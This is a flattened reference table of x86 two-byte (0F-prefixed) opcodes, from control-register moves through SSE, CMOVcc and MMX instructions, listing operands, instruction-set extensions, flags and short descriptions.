| 0F| 22| | | r| | | E| 0| | MOV| **Cq**|  Rq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Control Registers  
| 0F| 22| | | r| | U18 | E| 0| | MOV| **Cq**|  Hq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Control Registers  
| 0F| 23| | | r| | | E| 0| | MOV| **Dq**|  Rq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Debug Registers  
| 0F| 23| | | r| | U18 | E| 0| | MOV| **Dq**|  Hq| | | | system| | | | o..szapc| | o..szapc| | Move to/from Debug Registers  
| 0F| 28| | | r| | | | | | MOVAPS| **Vps**|  Wps| | | sse1| simdfp|  datamov| | | | | | | Move Aligned Packed Single-FP Values  
66| 0F| 28| | | r| | | | | | MOVAPD| **Vpd**|  Wpd| | | sse2| pcksclr|  datamov| | | | | | | Move Aligned Packed Double-FP Values  
| 0F| 29| | | r| | | | | | MOVAPS| **Wps**|  Vps| | | sse1| simdfp|  datamov| | | | | | | Move Aligned Packed Single-FP Values  
66| 0F| 29| | | r| | | | | | MOVAPD| **Wpd**|  Vpd| | | sse2| pcksclr|  datamov| | | | | | | Move Aligned Packed Double-FP Values  
| 0F| 2A| | | r| | | | | | CVTPI2PS| **Vps**|  Qpi| | | sse1| conver| | | | | | | | Convert Packed DW Integers to Single-FP Values  
F3| 0F| 2A| | | r| | | | | | CVTSI2SS| **Vss**|  Edqp| | | sse1| conver| | | | | | | | Convert DW Integer to Scalar Single-FP Value  
66| 0F| 2A| | | r| | | | | | CVTPI2PD| **Vpd**|  Qpi| | | sse2| pcksclr|  conver| | | | | | | Convert Packed DW Integers to Double-FP Values  
F2| 0F| 2A| | | r| | | | | | CVTSI2SD| **Vsd**|  Edqp| | | sse2| pcksclr|  conver| | | | | | | Convert DW Integer to Scalar Double-FP Value  
| 0F| 2B| | | r| | | | | | MOVNTPS| **Mps**|  Vps| | | sse1| cachect| | | | | | | | Store Packed Single-FP Values Using Non-Temporal Hint  
66| 0F| 2B| | | r| | | | | | MOVNTPD| **Mpd**|  Vpd| | | sse2| cachect| | | | | | | | Store Packed Double-FP Values Using Non-Temporal Hint  
| 0F| 2C| | | r| | | | | | CVTTPS2PI| **Ppi**|  Wpsq| | | sse1| conver| | | | | | | | Convert with Trunc. Packed Single-FP Values to DW Integers  
F3| 0F| 2C| | | r| | | | | | CVTTSS2SI| **Gdqp**|  Wss| | | sse1| conver| | | | | | | | Convert with Trunc. Scalar Single-FP Value to DW Integer  
66| 0F| 2C| | | r| | | | | | CVTTPD2PI| **Ppi**|  Wpd| | | sse2| pcksclr|  conver| | | | | | | Convert with Trunc. Packed Double-FP Values to DW Integers  
F2| 0F| 2C| | | r| | | | | | CVTTSD2SI| **Gdqp**|  Wsd| | | sse2| pcksclr|  conver| | | | | | | Conv. with Trunc. Scalar Double-FP Value to Signed DW Int  
| 0F| 2D| | | r| | | | | | CVTPS2PI| **Ppi**|  Wpsq| | | sse1| conver| | | | | | | | Convert Packed Single-FP Values to DW Integers  
F3| 0F| 2D| | | r| | | | | | CVTSS2SI| **Gdqp**|  Wss| | | sse1| conver| | | | | | | | Convert Scalar Single-FP Value to DW Integer  
66| 0F| 2D| | | r| | | | | | CVTPD2PI| **Ppi**|  Wpd| | | sse2| pcksclr|  conver| | | | | | | Convert Packed Double-FP Values to DW Integers  
F2| 0F| 2D| | | r| | | | | | CVTSD2SI| **Gdqp**|  Wsd| | | sse2| pcksclr|  conver| | | | | | | Convert Scalar Double-FP Value to DW Integer  
| 0F| 2E| | | r| | | | | | UCOMISS| Vss| Wss| | | sse1| simdfp|  compar| | | ....z.pc| ....z.pc| | | Unordered Compare Scalar Single-FP Values and Set EFLAGS  
66| 0F| 2E| | | r| | | | | | UCOMISD| Vsd| Wsd| | | sse2| pcksclr|  compar| | | ....z.pc| ....z.pc| | | Unordered Compare Scalar Double-FP Values and Set EFLAGS  
| 0F| 2F| | | r| | | | | | COMISS| Vss| Wss| | | sse1| simdfp|  compar| | | ....z.pc| ....z.pc| | | Compare Scalar Ordered Single-FP Values and Set EFLAGS  
66| 0F| 2F| | | r| | | | | | COMISD| Vsd| Wsd| | | sse2| pcksclr|  compar| | | ....z.pc| ....z.pc| | | Compare Scalar Ordered Double-FP Values and Set EFLAGS  
| 0F| 30| | | | | | | 0| | WRMSR| ** _MSR_**|  _rCX_|  _rAX_|  _rDX_| |  system| | | | | | | | Write to Model Specific Register  
| 0F| 31| | | | | | | f2 | | RDTSC| ** _EAX_**| ** _EDX_**|  _I..._| | |  system| | | | | | | | Read Time-Stamp Counter  
| 0F| 32| | | | | | | 0| | RDMSR| ** _rAX_**| ** _rDX_**|  _rCX_|  _MSR_| |  system| | | | | | | | Read from Model Specific Register  
| 0F| 33| | | | | | | f3 | | RDPMC| ** _EAX_**| ** _EDX_**|  _PMC_| | |  system| | | | | | | | Read Performance-Monitoring Counters  
| 0F| 34| | Sr| | | D19 | E| | | SYSENTER| ** _SS_**| ** _RSP_**|  _I..._| ...| | system|  branch| | | ..i.....| ..i.....| | ..i.....| Fast System Call  
| 0F| 35| | Sr| | | D20 | P| 0| | SYSEXIT| ** _SS_**| ** _eSP_**|  _I..._| ...| | system|  branch| trans| | | | | | Fast Return from Fast System Call  
| 0F| 37| | | | C2++| D21 | | | | GETSEC|  _EAX_| | | |  smx| | | | | | | | | GETSEC Leaf Functions  
66| 0F| 38| 80| | r| C2++| D33 | E| 0| | INVEPT| Gq| Mdq| | | vmx| | | | | o..szapc| o..szapc| | | Invalidate Translations Derived from EPT  
66| 0F| 38| 81| | r| C2++| D33 | E| 0| | INVVPID| Gq| Mdq| | | vmx| | | | | o..szapc| o..szapc| | | Invalidate Translations Based on VPID  
| 0F| 38| F0| | r| C2++| | | | | MOVBE| **Gvqp**|  Mvqp| | | | gen|  datamov| | | | | | | Move Data After Swapping Bytes  
F2| 0F| 38| F0| | r| C2++| D34 | | | | CRC32| **Gdqp**|  Eb| | | sse42| | | | | | | | | Accumulate CRC32 Value  
| 0F| 38| F1| | r| C2++| | | | | MOVBE| **Mvqp**|  Gvqp| | | | gen|  datamov| | | | | | | Move Data After Swapping Bytes  
F2| 0F| 38| F1| | r| C2++| D34 | | | | CRC32| **Gdqp**|  Evqp| | | sse42| | | | | | | | | Accumulate CRC32 Value  
66| 0F| 3A| 08| | r| C2++| D34 | | | | ROUNDPS| **Vps**|  Wps| Ib| | sse41| simdfp|  conver| | | | | | | Round Packed Single-FP Values  
66| 0F| 3A| 09| | r| C2++| D34 | | | | ROUNDPD| **Vps**|  Wpd| Ib| | sse41| simdfp|  conver| | | | | | | Round Packed Double-FP Values  
66| 0F| 3A| 0A| | r| C2++| D34 | | | | ROUNDSS| **Vss**|  Wss| Ib| | sse41| simdfp|  conver| | | | | | | Round Scalar Single-FP Values  
66| 0F| 3A| 0B| | r| C2++| D34 | | | | ROUNDSD| **Vsd**|  Wsd| Ib| | sse41| simdfp|  conver| | | | | | | Round Scalar Double-FP Values  
66| 0F| 3A| 0C| | r| C2++| D34 | | | | BLENDPS| **Vps**|  Wps| Ib| | sse41| simdfp|  datamov| | | | | | | Blend Packed Single-FP Values  
66| 0F| 3A| 0D| | r| C2++| D34 | | | | BLENDPD| **Vpd**|  Wpd| Ib| | sse41| simdfp|  datamov| | | | | | | Blend Packed Double-FP Values  
66| 0F| 3A| 0E| | r| C2++| D34 | | | | PBLENDW| **Vdq**|  Wdq| Ib| | sse41| simdint|  datamov| | | | | | | Blend Packed Words  
| 0F| 3A| 0F| | r| C2+| | | | | PALIGNR| **Pq**|  Qq| | | ssse3| simdint| | | | | | | | Packed Align Right  
66| 0F| 3A| 0F| | r| C2+| | | | | PALIGNR| **Vdq**|  Wdq| | | ssse3| simdint| | | | | | | | Packed Align Right  
66| 0F| 3A| 14| | r| C2++| D34 | | | | PEXTRB| **Mb**|  Vdq| Ib| | sse41| simdint|  datamov| | | | | | | Extract Byte  
PEXTRB| **Rdqp**|  Vdq| Ib|  
66| 0F| 3A| 15| | r| C2++| D34 | | | | PEXTRW| **Mw**|  Vdq| Ib| | sse41| simdint|  datamov| | | | | | | Extract Word  
PEXTRW| **Rdqp**|  Vdq| Ib|  
66| 0F| 3A| 16| | r| C2++| D34 | | | | PEXTRD| **Ed**|  Vdq| Ib| | sse41| simdint|  datamov| | | | | | | Extract Dword/Qword  
PEXTRQ| **Eqp**|  Vdq| Ib|  
66| 0F| 3A| 17| | r| C2++| D34 | | | | EXTRACTPS| **Ed**|  Vdq| Ib| | sse41| simdfp|  datamov| | | | | | | Extract Packed Single-FP Value  
66| 0F| 3A| 20| | r| C2++| D34 | | | | PINSRB| **Vdq**|  Mb| Ib| | sse41| simdint|  datamov| | | | | | | Insert Byte  
PINSRB| **Vdq**|  Rdqp| Ib|  
66| 0F| 3A| 21| | r| C2++| D34 | | | | INSERTPS| **Vps**|  Ups| Ib| | sse41| simdfp|  datamov| | | | | | | Insert Packed Single-FP Value  
INSERTPS| **Vps**|  Md| Ib|  
66| 0F| 3A| 22| | r| C2++| D34 | | | | PINSRD| **Vdq**|  Ed| Ib| | sse41| simdint|  datamov| | | | | | | Insert Dword/Qword  
PINSRQ| **Vdq**|  Eqp| Ib|  
66| 0F| 3A| 40| | r| C2++| D34 | | | | DPPS| **Vps**|  Wps| | | sse41| simdfp|  arith| | | | | | | Dot Product of Packed Single-FP Values  
66| 0F| 3A| 41| | r| C2++| D34 | | | | DPPD| **Vpd**|  Wpd| | | sse41| simdfp|  arith| | | | | | | Dot Product of Packed Double-FP Values  
66| 0F| 3A| 42| | r| C2++| D34 | | | | MPSADBW| **Vdq**|  Wdq| Ib| | sse41| simdint|  arith| | | | | | | Compute Multiple Packed Sums of Absolute Difference  
66| 0F| 3A| 60| | r| C2++| D34 | | | | PCMPESTRM| ** _XMM0_**|  Vdq| Wdq| ...| sse42| strtxt| | | | o..szapc| o..szapc| | .....ap.| Packed Compare Explicit Length Strings, Return Mask  
66| 0F| 3A| 61| | r| C2++| D34 | | | | PCMPESTRI| ** _rCX_**|  Vdq| Wdq| ...| sse42| strtxt| | | | o..szapc| o..szapc| | .....ap.| Packed Compare Explicit Length Strings, Return Index  
66| 0F| 3A| 62| | r| C2++| D34 | | | | PCMPISTRM| ** _XMM0_**|  Vdq| Wdq| Ib| sse42| strtxt| | | | o..szapc| o..szapc| | .....ap.| Packed Compare Implicit Length Strings, Return Mask  
66| 0F| 3A| 63| | r| C2++| D34 | | | | PCMPISTRI| ** _rCX_**|  Vdq| Wdq| Ib| sse42| strtxt| | | | o..szapc| o..szapc| | .....ap.| Packed Compare Implicit Length Strings, Return Index  
| 0F| 40| | tttn| r| | D23 | | | | CMOVO| **Gvqp**|  Evqp| | | | gen|  datamov| | o.......| | | | | Conditional Move - overflow \(OF=1\)  
| 0F| 41| | tttN| r| | D23 | | | | CMOVNO| **Gvqp**|  Evqp| | | | gen|  datamov| | o.......| | | | | Conditional Move - not overflow \(OF=0\)  
| 0F| 42| | ttTn| r| | D23 | | | | CMOVB| **Gvqp**|  Evqp| | | | gen|  datamov| | .......c| | | | | Conditional Move - below/not above or equal/carry \(CF=1\)  
CMOVNAE| **Gvqp**|  Evqp| |   
CMOVC| **Gvqp**|  Evqp| |   
| 0F| 43| | ttTN| r| | D23 | | | | CMOVNB| **Gvqp**|  Evqp| | | | gen|  datamov| | .......c| | | | | Conditional Move - not below/above or equal/not carry \(CF=0\)  
CMOVAE| **Gvqp**|  Evqp| |   
CMOVNC| **Gvqp**|  Evqp| |   
| 0F| 44| | tTtn| r| | D23 | | | | CMOVZ| **Gvqp**|  Evqp| | | | gen|  datamov| | ....z...| | | | | Conditional Move - zero/equal \(ZF=0\)  
CMOVE| **Gvqp**|  Evqp| |   
| 0F| 45| | tTtN| r| | D23 | | | | CMOVNZ| **Gvqp**|  Evqp| | | | gen|  datamov| | ....z...| | | | | Conditional Move - not zero/not equal \(ZF=1\)  
CMOVNE| **Gvqp**|  Evqp| |   
| 0F| 46| | tTTn| r| | D23 | | | | CMOVBE| **Gvqp**|  Evqp| | | | gen|  datamov| | ....z..c| | | | | Conditional Move - below or equal/not above \(CF=1 AND ZF=1\)  
CMOVNA| **Gvqp**|  Evqp| |   
| 0F| 47| | tTTN| r| | D23 | | | | CMOVNBE| **Gvqp**|  Evqp| | | | gen|  datamov| | ....z..c| | | | | Conditional Move - not below or equal/above \(CF=0 AND ZF=0\)  
CMOVA| **Gvqp**|  Evqp| |   
| 0F| 48| | Tttn| r| | D23 | | | | CMOVS| **Gvqp**|  Evqp| | | | gen|  datamov| | ...s....| | | | | Conditional Move - sign \(SF=1\)  
| 0F| 49| | TttN| r| | D23 | | | | CMOVNS| **Gvqp**|  Evqp| | | | gen|  datamov| | ...s....| | | | | Conditional Move - not sign \(SF=0\)  
| 0F| 4A| | TtTn| r| | D23 | | | | CMOVP| **Gvqp**|  Evqp| | | | gen|  datamov| | ......p.| | | | | Conditional Move - parity/parity even \(PF=1\)  
CMOVPE| **Gvqp**|  Evqp| |   
| 0F| 4B| | TtTN| r| | D23 | | | | CMOVNP| **Gvqp**|  Evqp| | | | gen|  datamov| | ......p.| | | | | Conditional Move - not parity/parity odd  
CMOVPO| **Gvqp**|  Evqp| |   
| 0F| 4C| | TTtn| r| | D23 | | | | CMOVL| **Gvqp**|  Evqp| | | | gen|  datamov| | o..s....| | | | | Conditional Move - less/not greater \(SF\!=OF\)  
CMOVNGE| **Gvqp**|  Evqp| |   
| 0F| 4D| | TTtN| r| | D23 | | | | CMOVNL| **Gvqp**|  Evqp| | | | gen|  datamov| | o..s....| | | | | Conditional Move - not less/greater or equal \(SF=OF\)  
CMOVGE| **Gvqp**|  Evqp| |   
| 0F| 4E| | TTTn| r| | D23 | | | | CMOVLE| **Gvqp**|  Evqp| | | | gen|  datamov| | o..sz...| | | | | Conditional Move - less or equal/not greater \(\(ZF=1\) OR \(SF\!=OF\)\)  
CMOVNG| **Gvqp**|  Evqp| |   
| 0F| 4F| | TTTN| r| | D23 | | | | CMOVNLE| **Gvqp**|  Evqp| | | | gen|  datamov| | o..sz...| | | | | Conditional Move - not less nor equal/greater \(\(ZF=0\) AND \(SF=OF\)\)  
CMOVG| **Gvqp**|  Evqp| |   
| 0F| 50| | | r| | | | | | MOVMSKPS| **Gdqp**|  Ups| | | sse1| simdfp|  datamov| | | | | | | Extract Packed Single-FP Sign Mask  
66| 0F| 50| | | r| | | | | | MOVMSKPD| **Gdqp**|  Upd| | | sse2| pcksclr|  datamov| | | | | | | Extract Packed Double-FP Sign Mask  
| 0F| 51| | | r| | | | | | SQRTPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Compute Square Roots of Packed Single-FP Values  
F3| 0F| 51| | | r| | | | | | SQRTSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Compute Square Root of Scalar Single-FP Value  
66| 0F| 51| | | r| | | | | | SQRTPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Compute Square Roots of Packed Double-FP Values  
F2| 0F| 51| | | r| | | | | | SQRTSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Compute Square Root of Scalar Double-FP Value  
| 0F| 52| | | r| | | | | | RSQRTPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Compute Recipr. of Square Roots of Packed Single-FP Values  
F3| 0F| 52| | | r| | | | | | RSQRTSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Compute Recipr. of Square Root of Scalar Single-FP Value  
| 0F| 53| | | r| | | | | | RCPPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Compute Reciprocals of Packed Single-FP Values  
F3| 0F| 53| | | r| | | | | | RCPSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Compute Reciprocal of Scalar Single-FP Values  
| 0F| 54| | | r| | | | | | ANDPS| **Vps**|  Wps| | | sse1| simdfp|  logical| | | | | | | Bitwise Logical AND of Packed Single-FP Values  
66| 0F| 54| | | r| | | | | | ANDPD| **Vpd**|  Wpd| | | sse2| pcksclr|  logical| | | | | | | Bitwise Logical AND of Packed Double-FP Values  
| 0F| 55| | | r| | | | | | ANDNPS| **Vps**|  Wps| | | sse1| simdfp|  logical| | | | | | | Bitwise Logical AND NOT of Packed Single-FP Values  
66| 0F| 55| | | r| | | | | | ANDNPD| **Vpd**|  Wpd| | | sse2| pcksclr|  logical| | | | | | | Bitwise Logical AND NOT of Packed Double-FP Values  
| 0F| 56| | | r| | | | | | ORPS| **Vps**|  Wps| | | sse1| simdfp|  logical| | | | | | | Bitwise Logical OR of Single-FP Values  
66| 0F| 56| | | r| | | | | | ORPD| **Vpd**|  Wpd| | | sse2| pcksclr|  logical| | | | | | | Bitwise Logical OR of Double-FP Values  
| 0F| 57| | | r| | | | | | XORPS| **Vps**|  Wps| | | sse1| simdfp|  logical| | | | | | | Bitwise Logical XOR for Single-FP Values  
66| 0F| 57| | | r| | | | | | XORPD| **Vpd**|  Wpd| | | sse2| pcksclr|  logical| | | | | | | Bitwise Logical XOR for Double-FP Values  
| 0F| 58| | | r| | | | | | ADDPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Add Packed Single-FP Values  
F3| 0F| 58| | | r| | | | | | ADDSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Add Scalar Single-FP Values  
66| 0F| 58| | | r| | | | | | ADDPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Add Packed Double-FP Values  
F2| 0F| 58| | | r| | | | | | ADDSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Add Scalar Double-FP Values  
| 0F| 59| | | r| | | | | | MULPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Multiply Packed Single-FP Values  
F3| 0F| 59| | | r| | | | | | MULSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Multiply Scalar Single-FP Value  
66| 0F| 59| | | r| | | | | | MULPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Multiply Packed Double-FP Values  
F2| 0F| 59| | | r| | | | | | MULSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Multiply Scalar Double-FP Values  
| 0F| 5A| | | r| | | | | | CVTPS2PD| **Vpd**|  Wps| | | sse2| pcksclr|  conver| | | | | | | Convert Packed Single-FP Values to Double-FP Values  
66| 0F| 5A| | | r| | | | | | CVTPD2PS| **Vps**|  Wpd| | | sse2| pcksclr|  conver| | | | | | | Convert Packed Double-FP Values to Single-FP Values  
F3| 0F| 5A| | | r| | | | | | CVTSS2SD| **Vsd**|  Wss| | | sse2| pcksclr|  conver| | | | | | | Convert Scalar Single-FP Value to Scalar Double-FP Value   
F2| 0F| 5A| | | r| | | | | | CVTSD2SS| **Vss**|  Wsd| | | sse2| pcksclr|  conver| | | | | | | Convert Scalar Double-FP Value to Scalar Single-FP Value  
| 0F| 5B| | | r| | | | | | CVTDQ2PS| **Vps**|  Wdq| | | sse2| pcksp| | | | | | | | Convert Packed DW Integers to Single-FP Values  
66| 0F| 5B| | | r| | | | | | CVTPS2DQ| **Vdq**|  Wps| | | sse2| pcksp| | | | | | | | Convert Packed Single-FP Values to DW Integers  
F3| 0F| 5B| | | r| | | | | | CVTTPS2DQ| **Vdq**|  Wps| | | sse2| pcksp| | | | | | | | Convert with Trunc. Packed Single-FP Values to DW Integers  
| 0F| 5C| | | r| | | | | | SUBPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Subtract Packed Single-FP Values  
F3| 0F| 5C| | | r| | | | | | SUBSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Subtract Scalar Single-FP Values  
66| 0F| 5C| | | r| | | | | | SUBPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Subtract Packed Double-FP Values  
F2| 0F| 5C| | | r| | | | | | SUBSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Subtract Scalar Double-FP Values  
| 0F| 5D| | | r| | | | | | MINPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Return Minimum Packed Single-FP Values  
F3| 0F| 5D| | | r| | | | | | MINSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Return Minimum Scalar Single-FP Value  
66| 0F| 5D| | | r| | | | | | MINPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Return Minimum Packed Double-FP Values  
F2| 0F| 5D| | | r| | | | | | MINSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Return Minimum Scalar Double-FP Value  
| 0F| 5E| | | r| | | | | | DIVPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Divide Packed Single-FP Values  
F3| 0F| 5E| | | r| | | | | | DIVSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Divide Scalar Single-FP Values  
66| 0F| 5E| | | r| | | | | | DIVPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Divide Packed Double-FP Values  
F2| 0F| 5E| | | r| | | | | | DIVSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Divide Scalar Double-FP Values  
| 0F| 5F| | | r| | | | | | MAXPS| **Vps**|  Wps| | | sse1| simdfp|  arith| | | | | | | Return Maximum Packed Single-FP Values  
F3| 0F| 5F| | | r| | | | | | MAXSS| **Vss**|  Wss| | | sse1| simdfp|  arith| | | | | | | Return Maximum Scalar Single-FP Value  
66| 0F| 5F| | | r| | | | | | MAXPD| **Vpd**|  Wpd| | | sse2| pcksclr|  arith| | | | | | | Return Maximum Packed Double-FP Values  
F2| 0F| 5F| | | r| | | | | | MAXSD| **Vsd**|  Wsd| | | sse2| pcksclr|  arith| | | | | | | Return Maximum Scalar Double-FP Value  
| 0F| 60| | | r| | | | | | PUNPCKLBW| **Pq**|  Qd| | | mmx| unpack| | | | | | | | Unpack Low Data  
66| 0F| 60| | | r| | | | | | PUNPCKLBW| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack Low Data  
| 0F| 61| | | r| | | | | | PUNPCKLWD| **Pq**|  Qd| | | mmx| unpack| | | | | | | | Unpack Low Data  
66| 0F| 61| | | r| | | | | | PUNPCKLWD| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack Low Data  
| 0F| 62| | | r| | | | | | PUNPCKLDQ| **Pq**|  Qd| | | mmx| unpack| | | | | | | | Unpack Low Data  
66| 0F| 62| | | r| | | | | | PUNPCKLDQ| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack Low Data  
| 0F| 63| | | r| | | | | | PACKSSWB| **Pq**|  Qd| | | mmx| conver| | | | | | | | Pack with Signed Saturation  
66| 0F| 63| | | r| | | | | | PACKSSWB| **Vdq**|  Wdq| | | sse2| simdint|  conver| | | | | | | Pack with Signed Saturation  
| 0F| 64| | | r| | | | | | PCMPGTB| **Pq**|  Qd| | | mmx| compar| | | | | | | | Compare Packed Signed Integers for Greater Than  
66| 0F| 64| | | r| | | | | | PCMPGTB| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Signed Integers for Greater Than  
| 0F| 65| | | r| | | | | | PCMPGTW| **Pq**|  Qd| | | mmx| compar| | | | | | | | Compare Packed Signed Integers for Greater Than  
66| 0F| 65| | | r| | | | | | PCMPGTW| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Signed Integers for Greater Than  
| 0F| 66| | | r| | | | | | PCMPGTD| **Pq**|  Qd| | | mmx| compar| | | | | | | | Compare Packed Signed Integers for Greater Than  
66| 0F| 66| | | r| | | | | | PCMPGTD| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Signed Integers for Greater Than  
| 0F| 67| | | r| | | | | | PACKUSWB| **Pq**|  Qq| | | mmx| conver| | | | | | | | Pack with Unsigned Saturation  
66| 0F| 67| | | r| | | | | | PACKUSWB| **Vdq**|  Wdq| | | sse2| simdint|  conver| | | | | | | Pack with Unsigned Saturation  
| 0F| 68| | | r| | | | | | PUNPCKHBW| **Pq**|  Qq| | | mmx| unpack| | | | | | | | Unpack High Data  
66| 0F| 68| | | r| | | | | | PUNPCKHBW| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack High Data  
| 0F| 69| | | r| | | | | | PUNPCKHWD| **Pq**|  Qq| | | mmx| unpack| | | | | | | | Unpack High Data  
66| 0F| 69| | | r| | | | | | PUNPCKHWD| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack High Data  
| 0F| 6A| | | r| | | | | | PUNPCKHDQ| **Pq**|  Qq| | | mmx| unpack| | | | | | | | Unpack High Data  
66| 0F| 6A| | | r| | | | | | PUNPCKHDQ| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack High Data  
| 0F| 6B| | | r| | | | | | PACKSSDW| **Pq**|  Qq| | | mmx| conver| | | | | | | | Pack with Signed Saturation  
66| 0F| 6B| | | r| | | | | | PACKSSDW| **Vdq**|  Wdq| | | sse2| simdint|  conver| | | | | | | Pack with Signed Saturation  
66| 0F| 6C| | | r| | | | | | PUNPCKLQDQ| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack Low Data  
66| 0F| 6D| | | r| | | | | | PUNPCKHQDQ| **Vdq**|  Wdq| | | sse2| simdint|  shunpck| | | | | | | Unpack High Data  
| 0F| 6E| | | r| | D22 | E| | | MOVD| **Pq**|  Ed| | | mmx| datamov| | | | | | | | Move Doubleword/Quadword  
MOVQ| **Pq**|  Eqp| |   
66| 0F| 6E| | | r| | D22 | E| | | MOVD| **Vdq**|  Ed| | | sse2| simdint|  datamov| | | | | | | Move Doubleword/Quadword  
MOVQ| **Vdq**|  Eqp| |   
| 0F| 6F| | | r| | | | | | MOVQ| **Pq**|  Qq| | | mmx| datamov| | | | | | | | Move Quadword  
66| 0F| 6F| | | r| | | | | | MOVDQA| **Vdq**|  Wdq| | | sse2| simdint|  datamov| | | | | | | Move Aligned Double Quadword  
F3| 0F| 6F| | | r| | | | | | MOVDQU| **Vdq**|  Wdq| | | sse2| simdint|  datamov| | | | | | | Move Unaligned Double Quadword  
| 0F| 70| | | r| | | | | | PSHUFW| **Pq**|  Qq| Ib| | sse1| simdint| | | | | | | | Shuffle Packed Words  
F2| 0F| 70| | | r| | | | | | PSHUFLW| **Vdq**|  Wdq| Ib| | sse2| simdint|  shunpck| | | | | | | Shuffle Packed Low Words  
F3| 0F| 70| | | r| | | | | | PSHUFHW| **Vdq**|  Wdq| Ib| | sse2| simdint|  shunpck| | | | | | | Shuffle Packed High Words  
66| 0F| 70| | | r| | | | | | PSHUFD| **Vdq**|  Wdq| Ib| | sse2| simdint|  shunpck| | | | | | | Shuffle Packed Doublewords  
| 0F| 71| | | 2| | | | | | PSRLW| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| 71| | | 2| | | | | | PSRLW| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Right Logical  
| 0F| 71| | | 4| | | | | | PSRAW| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Right Arithmetic  
66| 0F| 71| | | 4| | | | | | PSRAW| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Right Arithmetic  
| 0F| 71| | | 6| | | | | | PSLLW| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| 71| | | 6| | | | | | PSLLW| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Left Logical  
| 0F| 72| | | 2| | | | | | PSRLD| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Double Quadword Right Logical  
66| 0F| 72| | | 2| | | | | | PSRLD| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Double Quadword Right Logical  
| 0F| 72| | | 4| | | | | | PSRAD| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Right Arithmetic  
66| 0F| 72| | | 4| | | | | | PSRAD| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Right Arithmetic  
| 0F| 72| | | 6| | | | | | PSLLD| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| 72| | | 6| | | | | | PSLLD| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Left Logical  
| 0F| 73| | | 2| | | | | | PSRLQ| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| 73| | | 2| | | | | | PSRLQ| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| 73| | | 3| | | | | | PSRLDQ| **Udq**|  Ib| | | sse2| simdint|  shift| | | | | | | Shift Double Quadword Right Logical  
| 0F| 73| | | 6| | | | | | PSLLQ| **Nq**|  Ib| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| 73| | | 6| | | | | | PSLLQ| **Udq**|  Ib| | | sse2| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| 73| | | 7| | | | | | PSLLDQ| **Udq**|  Ib| | | sse2| simdint|  shift| | | | | | | Shift Double Quadword Left Logical  
| 0F| 74| | | r| | | | | | PCMPEQB| **Pq**|  Qq| | | mmx| compar| | | | | | | | Compare Packed Data for Equal  
66| 0F| 74| | | r| | | | | | PCMPEQB| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Data for Equal  
| 0F| 75| | | r| | | | | | PCMPEQW| **Pq**|  Qq| | | mmx| compar| | | | | | | | Compare Packed Data for Equal  
